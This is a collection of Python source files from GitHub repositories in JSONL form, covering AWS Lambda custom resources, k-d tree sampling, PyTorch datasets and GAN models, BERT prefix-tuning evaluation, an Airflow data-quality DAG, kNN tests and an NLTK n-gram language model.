+{"seq_id":"15899076719","text":"import boto3\nfrom crhelper import CfnResource\nfrom boto_utils import convert_iso8601_to_epoch\nfrom decorators import with_logging\n\n\nhelper = CfnResource(json_logging=False, log_level=\"DEBUG\", boto_level=\"CRITICAL\")\n\necr_client = boto3.client(\"ecr\")\ns3_client = boto3.resource(\"s3\")\n\n\n@with_logging\n@helper.create\n@helper.update\n@helper.delete\ndef create(event, context):\n    return None\n\n\n@with_logging\n@helper.poll_create\n@helper.poll_update\ndef poll(event, context):\n    props = event.get(\"ResourceProperties\", None)\n    bucket = props.get(\"CodeBuildArtefactBucket\")\n    key = props.get(\"ArtefactName\")\n    repository = props.get(\"ECRRepository\")\n    obj = s3_client.Object(bucket, key)\n    last_modified = convert_iso8601_to_epoch(str(obj.last_modified))\n    image_pushed_at = get_latest_image_push(repository)\n    return image_pushed_at and last_modified < image_pushed_at\n\n\ndef handler(event, context):\n    helper(event, context)\n\n\ndef get_latest_image_push(repository):\n    try:\n        images = ecr_client.describe_images(\n            repositoryName=repository, imageIds=[{\"imageTag\": \"latest\"}]\n        )\n\n        return convert_iso8601_to_epoch(str(images[\"imageDetails\"][0][\"imagePushedAt\"]))\n    except ecr_client.exceptions.ImageNotFoundException:\n        return None\n","repo_name":"awslabs/amazon-s3-find-and-forget","sub_path":"backend/lambdas/custom_resources/wait_container_build.py","file_name":"wait_container_build.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"51"}
+{"seq_id":"22591204999","text":"import random\nclass KdTree():\n    def __init__(self,dim_ranges):\n\n        self.dim_ranges = dim_ranges\n        self.num_dims = len(self.dim_ranges)\n\n        dim_min_list = [dim_range[0] for dim_range in dim_ranges]\n        dim_max_list = [dim_range[1] for dim_range in dim_ranges]\n        \n        self.max_depth = 0\n        self.node_count = 0\n\n        self.root_node = KdNode(\n            tree=self,\n            dim_min_list=dim_min_list,\n            dim_max_list=dim_max_list,\n            depth=0,\n            )\n\n    def add(self,x,value):\n        self.root_node.add(x,value)\n\n    def sample(self):\n        return self.root_node.sample()\n\nclass KdNode():\n    EMPTY = 0\n    DATA = 1\n    SPLIT = 2\n    def __init__(self,tree,dim_min_list, dim_max_list, depth):\n\n        # Take refernce to the root tree object\n        self.tree = tree\n\n        # Each node covers a region of space\n        # These lists mark the boundries of each dimension for this node\n        self.dim_min_list = dim_min_list\n        self.dim_max_list = dim_max_list \n\n        # Current depth of this node\n        self.depth = depth\n\n        # Update the root tree max depth \n        self.tree.max_depth = max(self.tree.max_depth, self.depth)\n        self.tree.node_count += 1\n\n        # get the dimension this node will split.\n        # Just roll through the dimensions from each depth\n        self.dim = self.depth % len(self.dim_min_list)\n\n        # Compute the mid point for the current dimension\n        dim_min = self.dim_min_list[self.dim]\n        dim_max = self.dim_max_list[self.dim]\n        self.mid_point = ( dim_min + dim_max ) / 2.0\n        \n        # Create empty references to the left and right children nodes.\n        # These are populated as data is added\n        self.left_node = None\n        self.right_node = None\n        self.x = None\n        self.value = None\n\n        # keep a running total of the value and count of the data below this node\n        self.value_sum = 0.0\n        self.count = 0\n \n        self.mode = KdNode.EMPTY\n\n        self.expected_value = 0\n\n\n    def add(self,x,value):\n\n        self.value_sum += value\n        self.count += 1\n\n        self.expected_value = self.value_sum / self.count\n          \n        if self.mode == KdNode.EMPTY:\n            # If the node is empty, then just store the data here\n            self.mode = KdNode.DATA\n            self.x = x\n            self.value = value\n            return\n\n        if self.mode == KdNode.DATA:\n            # If this node already contains a data then we need \n            # split and pass the data to our children\n\n            self.mode = KdNode.SPLIT\n\n            self.create_children_nodes()\n\n            # We need to move our data down to our left or right child node\n            child_node = self.get_left_or_right_child_node(self.x)\n            child_node.add(self.x,self.value)\n            self.x = None\n            self.value = None\n\n            # Add this new data to the the correct child node\n            child_node = self.get_left_or_right_child_node(x)\n            child_node.add(x,value)\n            return\n\n        if self.mode == KdNode.SPLIT:\n            # Add this new data to the the correct child node\n            child_node = self.get_left_or_right_child_node(x)\n            child_node.add(x,value)\n\n    def create_children_nodes(self):\n\n        new_dim_max_list = self.dim_max_list.copy()\n        new_dim_max_list[self.dim] = self.mid_point\n        \n        self.left_node = KdNode(\n            tree=self.tree,\n            dim_min_list=self.dim_min_list,\n            dim_max_list=new_dim_max_list,\n            depth=self.depth + 1,\n            )\n\n        new_dim_min_list = self.dim_min_list.copy()\n        new_dim_min_list[self.dim] = self.mid_point\n\n        self.right_node = KdNode(\n            tree=self.tree,\n            dim_min_list=new_dim_min_list,\n            dim_max_list=self.dim_max_list,\n            depth=self.depth + 1,\n            )\n\n\n    def get_left_or_right_child_node(self,x):\n        # Uses the mid point of the currect dimension to \n        # return the left or right child node.\n        # It will create the child node if it doesn't exists.\n        \n        dim_value = x[self.dim]\n\n        if dim_value < self.mid_point:\n            return self.left_node\n        else:\n            return self.right_node\n\n\n    def sample(self):\n        # If the node has no children. Just sample unifomly within its region\n        if self.mode == KdNode.EMPTY or self.mode == KdNode.DATA:\n            x = [random.uniform(dim_min, dim_max) for dim_min,dim_max in zip(self.dim_min_list,self.dim_max_list)]\n            return x\n\n        # If it has children. Randomly chose a child based on the relative expected value\n        else:\n            if self.left_node.count > 0 and self.right_node.count >0:\n                # Get the expected values for choosing left or right child\n                left_expected_value = self.left_node.expected_value\n                right_expected_value = self.right_node.expected_value\n\n                # Create a probability threshold based on the relative expected values\n                prob = left_expected_value / (left_expected_value + right_expected_value)\n            else:\n                prob = 0.5\n                \n            # Sample a random number then recurse down the tree\n            if random.random() < prob:\n                return self.left_node.sample()\n            else:\n                return self.right_node.sample()\n","repo_name":"ChainBreak/k-d-tree-sampling","sub_path":"kdtree.py","file_name":"kdtree.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28223112660","text":"import random\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nimport cv2\nimport os\nimport sys\nsys.path.append('../')\n\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms import ToTensor\n\nfrom data_process.data_utils import *\n\ndef data_filter(root, data_ids, p_keep):\n    filtered_ids = []\n    for mask_id in data_ids:\n        mask = cv2.imread(os.path.join(root, mask_id + '.png'), 0)\n        if np.sum(mask > 0) > 0 or np.random.rand() < p_keep:\n            filtered_ids.append(mask_id)\n    return np.array(filtered_ids)\n\nclass SIIMDataset(Dataset):\n\n    def __init__(self, root='../input/data', subset='train', augs=None, preprocessing=None, img_size=1024,\n                folds_dir='10folds', fold_id=0, prob_keep=None, data_len=None):\n        \n        folds_dir = os.path.join('data_process/splits', folds_dir)\n        assert subset in ['train', 'valid', 'test'], 'Unknown subset: {}'.format(subset)\n        num_folds = len(glob.glob(folds_dir + '/*'))\n        assert num_folds % 2 == 0\n        assert 0 <= fold_id < num_folds/2, fold_id\n        print('SIIMDataset::folds version={}'.format(os.path.basename(folds_dir)))\n\n        self.root = root\n        self.augs = augs\n        self.preprocessing = preprocessing\n        self.subset = subset\n        self.features_dict = {}\n        self.img_dir, self.label_dir = None, None\n        self.img_list = []\n        self.suff = '_{}'.format(img_size)\n        self.data_len = data_len\n        \n        if self.subset in ['train', 'valid']:\n            self.img_dir = os.path.join(self.root, 'train' + self.suff)\n            self.label_dir = os.path.join(self.root, 'train_mask' + self.suff)\n            csv_path = os.path.join(folds_dir, 'fold{}_{}.csv'.format(fold_id, self.subset))\n            self.img_list = np.array(pd.read_csv(csv_path)['Folds'])\n            if prob_keep is not None:\n                self.img_list = data_filter(root=self.label_dir, data_ids=self.img_list, p_keep=prob_keep)\n                \n            features_df = pd.read_csv(os.path.join(self.root, 'train_features.csv'))\n            for row in features_df.to_dict('records'):\n                self.features_dict[row['ImageId']] = row\n        \n        else:\n            self.img_dir = os.path.join(self.root, 'test' + self.suff)\n            features_df = pd.read_csv(os.path.join(self.root, 'test_features.csv'))\n            self.img_list = np.array(features_df['ImageId'])\n            for row in features_df.to_dict('records'):\n                self.features_dict[row['ImageId']] = row\n\n    def __getitem__(self, index):\n        \n        # load image and labels\n        img_id = self.img_list[index]\n        img = cv2.imread(os.path.join(self.img_dir, img_id + '.png'), 0)\n        target =cv2.imread(os.path.join(self.label_dir, img_id + '.png'), 0) if not self.subset == 'test' else np.zeros(img.shape)\n\n        # apply data preperation\n        prepared_data = PrepareData()({'input': img, 'mask': target})\n        img, target = prepared_data['input'],  prepared_data['mask']\n        # apply preprocessing\n        img_processed = self.preprocessing(img)\n\n        if self.augs:\n            augmented = self.augs(image=img, mask=target)\n            img, target = augmented['image'], augmented['mask']\n\n        if target is not None:\n            assert target.max() <= 1.0, 'Wrong scaling for target mask (max val = {})'.format(target.max())\n            target[(target > 0) & (target < 1.0)] = 0\n            assert ((target > 0) & (target < 1.0)).sum() == 0\n            return {\n                    'input': ToTensor()(img_processed).float(), \n                    'input_img': ToTensor()(img),\n                    'target': ToTensor()(target), \n                    'params': self.features_dict[img_id]\n                    }\n        else:\n            return {\n                    'input': torch.Tensor(img_processed).float(), \n                    'input_img': ToTensor()(img),\n                    'params': self.features_dict[img_id]\n                    }\n\n    def __len__(self):\n        return len(self.img_list) if self.data_len is None else self.data_len\n","repo_name":"hakobtam/Pneumothorax_Segmentation","sub_path":"data_process/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"14259567452","text":"import bpy\nimport sys\nimport platform\n\nfrom PySide2 import QtWidgets, QtCore\nfrom importlib import reload\nfrom . import window\nfrom . import theme\n\nreload(theme)\n\nOS = platform.system()\n\n\nclass PYSIDE_PT_tools_my_panel(bpy.types.Panel):\n    bl_label = \"Test Pyside\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n\n    def draw(self, context):\n        layout = self.layout\n        layout.operator('pyside.display_window')\n\n\nclass PYSIDE_OT_display_window(bpy.types.Operator):\n    '''  '''\n    bl_idname = 'pyside.display_window'\n    bl_label = \"Display Window\"\n    bl_options = {'REGISTER'}\n\n    def modal(self, context, event):\n        # bpy.context.window_manager\n        wm = context.window_manager\n\n        if not self.widget.isVisible():\n            # if widget is closed\n            wm.event_timer_remove(self._timer)\n            return {'FINISHED'}\n        else:\n            self.event_loop.processEvents()\n            self.app.sendPostedEvents(None, 0)\n\n        return {'PASS_THROUGH'}\n\n    def execute(self, context):\n        reload(window)\n\n        self.app = QtWidgets.QApplication.instance()\n        if not self.app:\n            self.app = QtWidgets.QApplication(sys.argv)\n\n        # Delete old window if exists\n        for w in self.app.topLevelWidgets():\n            try:\n                instName = w.__class__.__name__\n                clsName = window.MyWindow.__name__\n                if instName == clsName:\n                    w.close()\n            except Exception:\n                # No existing window\n                pass\n\n        self.event_loop = QtCore.QEventLoop()\n        self.app.setStyleSheet(theme.STYLE_SHEET)\n        self.widget = window.MyWindow()\n\n        if OS == \"Darwin\":\n            pass\n        elif OS == \"Linux\":\n            wm = context.window_manager\n            self._timer = wm.event_timer_add(1 / 120, window=context.window)\n            context.window_manager.modal_handler_add(self)\n\n        return {'RUNNING_MODAL'}\n\n\nCLASSES = [PYSIDE_OT_display_window, PYSIDE_PT_tools_my_panel]\n\n\ndef register():\n    for cls in CLASSES:\n        bpy.utils.register_class(cls)\n\n\ndef unregister():\n    for cls in CLASSES:\n        bpy.utils.unregister_class(cls)\n\n\nif __name__ == \"__main__\":\n    register()\n","repo_name":"minoue/bpyside","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"17246258435","text":"#!/usr/bin/env python3\n\"\"\"Moduel containing the class Yolo used for Object Detection.\"\"\"\n\nimport tensorflow as tf\nimport tensorflow.keras as K\n\n\nclass Yolo():\n    \"\"\"Class that uses the Yolo v3 algorithm to perform object detection.\n\n    Public Instance Attributes:\n        model (tensorflow.keras.Model): The Darknet Keras model.\n        class_names (list): A list of the class names for the model.\n        class_t (float): The box score threshold for the initial filtering\n            step.\n        nms_t (float): The IOU threshold for non-max suppression.\n        anchors (numpy.ndarray): The anchor boxes.\n    \"\"\"\n\n    def __init__(self, model_path, classes_path, class_t, nms_t, anchors):\n        \"\"\"Initilization method for the class YOLO.\n\n        Args:\n            model_path (str): The path where the Darknet\n                Keras model is stored.\n            class_path (str): The path to where the list of class names used\n                for the Darknet model, listed in order of index, can be found.\n            class_t (float): A float representing the box score threshold for\n                the initial filtering step.\n            nms_t (float): A float representing the IOU threshold for non-max\n                suppression.\n            anchors (numpy.ndarray): Tensor of shape (outputs, anchor_boxes, 2)\n                containing all of the anchor boxes. Where outputs is the number\n                of outputs (predictions) made by the Darknet model,\n                anchor_boxes is the number of anchor boxes used for each\n                prediction, and 2 is [anchor_box_width, anchor_box_height].\n        \"\"\"\n        model = K.models.load_model(model_path)\n        class_names = []\n        with open(classes_path, 'r') as file:\n            for line in file:\n                class_names.append(line.strip())\n        class_names = class_names\n        self.model = model\n        self.class_names = class_names\n        self.class_t = class_t\n        self.nms_t = nms_t\n        self.anchors = anchors\n","repo_name":"BenDosch/holbertonschool-machine_learning","sub_path":"supervised_learning/0x0A-object_detection/0-yolo.py","file_name":"0-yolo.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"12040075427","text":"\n\n\n\nfrom datasets import load_dataset\nfrom transformers import set_seed\n\n\nrandomSeed = 24\nset_seed(randomSeed)\ndatas = \"sst2\"\nprefix_len = 30\ntype_model = 0\n\nif(datas==\"ag_news\"):\n  labs = 4\nelif(datas==\"snli\"):\n  labs = 3 \nelse:\n  labs = 2  \n\nif(datas==\"sst2\"):\n  sent_lab = \"sentence\"\nelif(datas==\"snli\"):\n  sent_lab = \"res\"  \nelse:\n  sent_lab = \"text\"  \n\n\nif(type_model==1):\n      model_pref = \"prefix_\"\nelse:\n      model_pref = \"finetune_\"\nif(type_model):      \n  model_name = model_pref+datas+str(prefix_len) + \"S\" +  str(randomSeed)\nelse:\n  model_name = model_pref+datas+ \"S\" + str(randomSeed)\n\n\n\nif(datas==\"yelp_polarity\" or datas==\"snli\"):\n  train_dataset = load_dataset(datas,split='train[2%:12%]')\n  validation_dataset = load_dataset(datas,split='train[:2%]')\n  test_dataset = load_dataset(datas,split='test')\nelse:\n  train_dataset = load_dataset(datas,split='train[10%:90%]')\n  validation_dataset = load_dataset(datas,split='train[90%:]+train[:10%]')\n  test_dataset = load_dataset(datas,split='test')  \nprint(test_dataset[\"label\"])\n\n\nfrom transformers import AutoConfig, AutoModel, AutoTokenizer\nimport torch\nfrom transformers.adapters import AutoAdapterModel\n\ntokenizer = AutoTokenizer.from_pretrained('bert-base-uncased')\n\ndef encode_batch(batch):\n  return tokenizer(batch[sent_lab], max_length=80, truncation=True, padding=\"max_length\")\n\n\nif(datas==\"snli\"):\n  res_train = [i + tokenizer.sep_token + j for i, j in zip(train_dataset[\"premise\"], train_dataset[\"hypothesis\"])]\n  res_val = [i + tokenizer.sep_token + j for i, j in zip(validation_dataset[\"premise\"], validation_dataset[\"hypothesis\"])]\n  res_test = [i + tokenizer.sep_token + j for i, j in zip(test_dataset[\"premise\"], test_dataset[\"hypothesis\"])]\n  train_dataset = train_dataset.add_column(\"res\", res_train)\n  validation_dataset = validation_dataset.add_column(\"res\", res_val)\n  test_dataset = test_dataset.add_column(\"res\", res_test)\n  train_dataset = train_dataset.filter(lambda example: example[\"label\"]>-1)\n  validation_dataset = validation_dataset.filter(lambda example: example[\"label\"]>-1)\n  test_dataset = test_dataset.filter(lambda example: example[\"label\"]>-1)\n\ntrain_dataset = train_dataset.map(encode_batch, batched=True)\ntrain_dataset.set_format(type=\"torch\", columns=[sent_lab,\"input_ids\", \"attention_mask\", \"label\"])\n\ntest_dataset = test_dataset.map(encode_batch, batched=True)\ntest_dataset.set_format(type=\"torch\", columns=[sent_lab,\"input_ids\", \"attention_mask\", \"label\"])\n\nvalidation_dataset = validation_dataset.map(encode_batch, batched=True)\nvalidation_dataset.set_format(type=\"torch\", columns=[sent_lab,\"input_ids\", \"attention_mask\", \"label\"])\n\n\nimport numpy as np\nfrom transformers import TrainingArguments, AdapterTrainer, EvalPrediction, Trainer\nfrom transformers.adapters import PrefixTuningConfig\nfrom transformers import  BertModel, AutoModelForSequenceClassification\n\n\nprint(test_dataset)\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\")\n\ndef compute_accuracy(p: EvalPrediction):\n      preds = np.argmax(p.predictions, axis=1)\n      return {\"acc\": (preds == p.label_ids).mean()}\n\ndef training(type_model):\n  config = AutoConfig.from_pretrained(\n      \"bert-base-uncased\",\n      num_labels=labs,\n  )\n\n  \n  if(type_model==1):\n   \n    base = \"/home/parth/sota/GRAN/training_output\"\n    model_name = \"/prefix_imdb30S25/\"\n    check_num = \"2650\"\n    base2 = base+model_name+\"checkpoint-\"+check_num+\"/prefix_tuning/\"\n\n    model = AutoAdapterModel.from_pretrained(base+model_name+\"/model\")\n    adapter_name = model.load_adapter(base2) \n    model.set_active_adapters(adapter_name)\n   \n    \n\n    training_args = TrainingArguments(\n        learning_rate=5e-5,\n        num_train_epochs=50,\n        per_device_train_batch_size=128,\n        per_device_eval_batch_size=128,\n        logging_steps=50,\n        output_dir=\"./training_output\",\n        overwrite_output_dir=True,\n        remove_unused_columns=False,\n        report_to=\"tensorboard\"\n    )\n\n    \n\n    trainer = AdapterTrainer(\n        model=model,\n        args=training_args,\n        train_dataset=train_dataset,\n        eval_dataset=test_dataset,\n        compute_metrics=compute_accuracy,\n    )\n\n  else:\n    base = \"/home/parth/sota/GRAN/training_output\"\n    model_name = \"/finetune_imdbS25/\"\n    check_num = \"1027\"\n    base2 = base+model_name+\"checkpoint-\"+check_num+\"/pytorch_model.bin\"\n    print(base2)\n\n    print(\"$$$$$$$$$$$$$$$$$\")\n\n    model = AutoModelForSequenceClassification.from_pretrained(\n        base2,\n        config=config,\n    )\n    training_args = TrainingArguments(\n    learning_rate=5e-5,\n    num_train_epochs=50,\n    per_device_train_batch_size=128,\n    per_device_eval_batch_size=128,\n    logging_steps=50,\n    output_dir=\"./training_output\",\n    overwrite_output_dir=True,\n    report_to=\"tensorboard\")\n\n\n\n\n\n    trainer = Trainer(\n        model=model,\n        args=training_args,\n        train_dataset=train_dataset,\n        eval_dataset=test_dataset,\n        tokenizer=tokenizer,\n        compute_metrics=compute_accuracy,\n    )\n  return trainer\n\n\ntrainer = training(type_model)\n\nprint(trainer.evaluate())\n\n","repo_name":"parth-shettiwar/Robustness-of-Prefix-Tuning","sub_path":"prefix_tuning_test.py","file_name":"prefix_tuning_test.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10154388160","text":"#--------------------------------------------------------------\n# File: model.py\n#\n# Programmer: Aiden Zelakiewicz (zelakiewicz.1@osu.edu)\n#\n# Dependencies: pytorch\n#\n# Description:\n#   Contains the model for the convolutional Generative \n#   Adversarial Network. This might turn into a version\n#   of the least squares GAN (lsGAN) by https://arxiv.org/abs/1611.04076.\n#\n# Revision History:\n#   08-Nov-2022:  File Created\n#   25-Nov-2022:  Finished Generator implementation\n#   06-Dec-2022:  Replaced generator with convTranspose2d\n#--------------------------------------------------------------\n\nimport torch.nn as nn\nfrom blocks import *\n\nclass Discriminator(nn.Module):\n    def __init__(self, nc=3, ndf=64):\n        super(Discriminator, self).__init__()\n        self.main = nn.Sequential(\n            # Input is (nc) x 64 x 64\n            # Calculate output size with: (W-F+2P)/S + 1\n            DiscBlock(nc, ndf, 4, 2, 1, bn=False), # 32x32\n            DiscBlock(ndf, ndf*2, 4, 2, 1), # 16x16\n            DiscBlock(ndf*2, ndf*4, 4, 2, 1), # 8x8\n            DiscBlock(ndf*4, ndf*8, 4, 2, 1), # 4x4\n\n            conv2d(ndf*8, 1, 4, 1, 0, bias=False), # 1x1\n            nn.Sigmoid()\n        )\n\n    def forward(self, x):\n        return self.main(x)\n\nclass Generator(nn.Module):\n    def __init__(self, nz=100, ngf=64, nc=3):\n        super(Generator, self).__init__()\n        self.main = nn.Sequential(\n            # Input is Z, going into a convolution\n            GenBlock(nz, ngf*8, 4, 1, 0),\n            # State size. (ngf*8) x 4 x 4\n            GenBlock(ngf*8, ngf*4, 4, 2, 1),\n            # State size. (ngf*4) x 8 x 8\n            GenBlock(ngf*4, ngf*2, 4, 2, 1),\n            # State size. (ngf*2) x 16 x 16\n            GenBlock(ngf*2, ngf, 4, 2, 1),\n            # State size. (ngf) x 32 x 32\n            convTranspose2d(ngf, nc, 4, 2, 1, bias=False),\n            nn.Sigmoid()\n            # State size. (nc) x 64 x 64\n        )\n    def forward(self, x):\n        return self.main(x)\n\n\ndef weights_init(Layer):\n    \"\"\"\n    Initializes the weights of the layer, w.\n    \"\"\"\n    name = Layer.__class__.__name__\n    if name == 'conv':\n        nn.init.kaiming_normal_(Layer.weight, mode='fan_out', nonlinearity='leaky_relu')\n    elif name == 'bn':\n        nn.init.normal_(Layer.weight.data, 1.0, 0.02)\n        nn.init.constant_(Layer.bias.data, 0)\n        \ndef weights_init_tut(Layer):\n    classname = Layer.__class__.__name__\n    if classname.find('Conv') != -1:\n        nn.init.normal_(Layer.weight.data, 0.0, 0.02)\n    elif classname.find('BatchNorm') != -1:\n        nn.init.normal_(Layer.weight.data, 1.0, 0.02)\n        nn.init.constant_(Layer.bias.data, 0)","repo_name":"Shockblack/GANime","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"15480593418","text":"# INSTRUCTIONS\n# 1 - Set an SLA on the max amount of time it should take to load trip data from s3 to redshift, say an hour\n# 2 - Add data verification step after the load trip data from s3 to redshift\n# 3 - Add data verification step after we load station data\n\nimport pendulum\nimport datetime\nimport logging\n\nfrom airflow.decorators import dag,task\nfrom airflow.secrets.metastore import MetastoreBackend\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.operators.python_operator import PythonOperator\n\nfrom udacity.common import sql_statements\n\n@dag(\n    start_date=pendulum.now(),\n    max_active_runs=1    \n)\ndef data_quality():\n\n# Add the task SLA as a parameter in the @task annotation\n    @task()\n    def load_trip_data_to_redshift(*args, **kwargs):\n        metastoreBackend = MetastoreBackend()\n        aws_connection=metastoreBackend.get_connection(\"aws_credentials\")\n        redshift_hook = PostgresHook(\"redshift\")\n        sql_stmt = sql_statements.COPY_ALL_TRIPS_SQL.format(\n            aws_connection.login,\n            aws_connection.password\n        )\n        redshift_hook.run(sql_stmt)\n\n    @task()\n    def load_station_data_to_redshift(*args, **kwargs):\n        metastoreBackend = MetastoreBackend()\n        aws_connection=metastoreBackend.get_connection(\"aws_credentials\")\n        redshift_hook = PostgresHook(\"redshift\")\n        sql_stmt = sql_statements.COPY_STATIONS_SQL.format(\n            aws_connection.login,\n            aws_connection.password,\n        )\n        redshift_hook.run(sql_stmt)\n\n    @task()\n    def check_greater_than_zero(*args, **kwargs):\n        \"\"\"\n        Make sure that we are actually loading the data.\n        \"\"\"\n        table = kwargs[\"params\"][\"table\"]\n        redshift_hook = PostgresHook(\"redshift\")\n        records = redshift_hook.get_records(f\"SELECT COUNT(*) FROM {table}\")\n        if len(records) < 1 or len(records[0]) < 1:\n            raise ValueError(f\"Data quality check failed. {table} returned no results\")\n        num_records = records[0][0]\n        if num_records < 1:\n            raise ValueError(f\"Data quality check failed. {table} contained 0 rows\")\n        logging.info(f\"Data quality on table {table} check passed with {records[0][0]} records\")\n\n\n    create_trips_table = PostgresOperator(\n        task_id=\"create_trips_table\",\n        postgres_conn_id=\"redshift\",\n        sql=sql_statements.CREATE_TRIPS_TABLE_SQL\n    )\n\n    load_trips_task = load_trip_data_to_redshift()\n\n\n    check_trips_task = check_greater_than_zero(\n        params={\n            'table':'trips'\n        }\n    )\n\n    create_stations_table = PostgresOperator(\n        task_id=\"create_stations_table\",\n        postgres_conn_id=\"redshift\",\n        sql=sql_statements.CREATE_STATIONS_TABLE_SQL,\n    )\n\n    load_stations_task = load_station_data_to_redshift()\n\n    check_stations_task = check_greater_than_zero(\n        params={\n            'table': 'stations',\n        }\n    )\n\n\n    create_trips_table >> load_trips_task\n    create_stations_table >> load_stations_task\n\n#\n# TODO: Set the task dependencies for the stations and trips check tasks\n#\n\ndata_quality_dag = data_quality()\n\n","repo_name":"fab7/LAB-Data-Pipelines-with-Airflow","sub_path":"dags/Exercises/l4_e4_data_quality.py","file_name":"l4_e4_data_quality.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"34051799280","text":"import os\nfrom unittest import TestCase\nfrom assignment2.config import basedir\nfrom assignment2.core.knn import *\n\nTRAINING_FILENAME = os.path.join(basedir, \"data/IrisTrainML.dt\")\nTESTING_FILENAME = os.path.join(basedir, \"data/IrisTestML.dt\")\n\n\nclass KNNTests(TestCase):\n    def test_lambda_double(self):\n        training_set = load_file(TRAINING_FILENAME, delimiter=\" \")\n        training_set.mutate_all_columns(lambda x: float(x))\n        training_set.mutate_one_column(1, lambda x: x * 10)\n        testing_set = load_file(TESTING_FILENAME, delimiter=\" \")\n        testing_set.mutate_all_columns(lambda x: float(x))\n        assert training_set.len() > 0\n        assert testing_set.len() > 0\n\n    def test_euclidean_distance(self):\n        e1 = DataEntry([2, 2], 2)\n        e2 = DataEntry([4, 4], 0)\n        ecd = euclidean_dist(e1, e2)\n        self.assertAlmostEqual(ecd, 2.83, places=2)\n\n    def test_get_neighbors(self):\n        train_set = DataSet([DataEntry([2, 2], 1), DataEntry([4, 4], 2)])\n        test_instance = DataEntry([5, 5], 2)\n        neighbors = get_neighbors(train_set.entries, test_instance, 1)\n        assert neighbors[0].vals == train_set.entries[1].vals\n        assert neighbors[0].ref == train_set.entries[1].ref\n\n    def test_get_response(self):\n        neighbors = DataSet([DataEntry([1, 1], 1), DataEntry([2, 2], 1), DataEntry([3, 3], 2)])\n        assert get_most_common(neighbors.entries) == 1\n\n    def test_zero_one_loss(self):\n        test_set = DataSet([DataEntry([1, 1], 1), DataEntry([2, 2], 1), DataEntry([3, 3], 2)])\n        predictions = [1, 1, 1]\n        loss = get_zero_one_loss(test_set.entries, predictions)\n        self.assertAlmostEqual(33.33, loss, places=2)\n\n    def test_mean(self):\n        assert mean([1, 2, 3]) == 2\n        assert mean([3, 4, 5]) == 4\n        assert mean([3, 4]) == 3.5\n\n    def test_variance(self):\n        self.assertAlmostEqual(variance([7, 3, 8]), 2.65, places=2)\n\n    def test_normalize(self):\n        ts = DataSet([DataEntry([7, 3, 8], 'a'), DataEntry([1, 2, 3], 'b')])\n        normalize(ts, vertical=True)\n","repo_name":"MartinMetaksov/diku.MachineLearning","sub_path":"assignment2/tests/test_knn.py","file_name":"test_knn.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17236652443","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\n# Author: yadi Lao\nimport os\nimport re\nimport codecs\nimport logging\nimport time\n\nfrom nltk.tokenize.treebank import TreebankWordDetokenizer\nfrom nltk.lm.preprocessing import padded_everygram_pipeline\nfrom nltk.lm import MLE\nfrom LM.utils import *\n\n\ndef train_model(text, n_gram=3):\n    \"\"\"\n    MLE训练基于统计的语言模型\n    :param text: [['a','b'],['a','b','c']]\n    \"\"\"\n    print('train size={}'.format(len(text)))\n    train_data, padded_sents = padded_everygram_pipeline(n_gram, text)\n\n    # train model\n    model = MLE(n_gram)  # Lets train a 3-grams model, previously we set n=3\n    model.fit(train_data, padded_sents)\n    print('词表大小={}'.format(len(model.vocab)))\n\n    return model\n\n\ndef calcalute_prob(model):\n    \"\"\"\n    计算概率\n    \"\"\"\n    print(model.counts['language'])                    # i.e. Count('language')\n    print(model.counts[['language', 'is']]['never'])   # i.e. Count('never'|'language is')\n    print(model.score('language'))                     # P('language')\n    print(model.score('is', 'language'.split()))       # P('is'|'language')\n    print(model.score('never', 'language is'.split()))  # P('never'|'language is')\n    print(model.logscore(\"never\", \"language is\".split()))\n\n\ndef generate_sent(model, num_words, random_seed=42):\n    \"\"\"\n    :param model: An ngram language model from `nltk.lm.model`.\n    :param num_words: Max no. of words to generate.\n    :param random_seed: Seed value for random.\n    \"\"\"\n    content = []\n    for token in model.generate(num_words, random_seed=random_seed):\n        if token == '<s>':\n            continue\n        if token == '</s>':\n            break\n        content.append(token)\n\n    detokenize = TreebankWordDetokenizer().detokenize\n    return detokenize(content)\n\n\ndef model_generate(model):\n    print(model.generate(20, random_seed=7))\n\n\nif __name__ == '__main__':\n    data_path = '../data/label.txt'\n    segData = load_seg_data(data_path)\n    t1 = time.time()\n    model = train_model(segData, n_gram=3)\n    print('take {} times'.format(time.time()-t1))\n    \n    \n","repo_name":"YadiLao/NLP_Tools","sub_path":"language model/LM_nltk.py","file_name":"LM_nltk.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
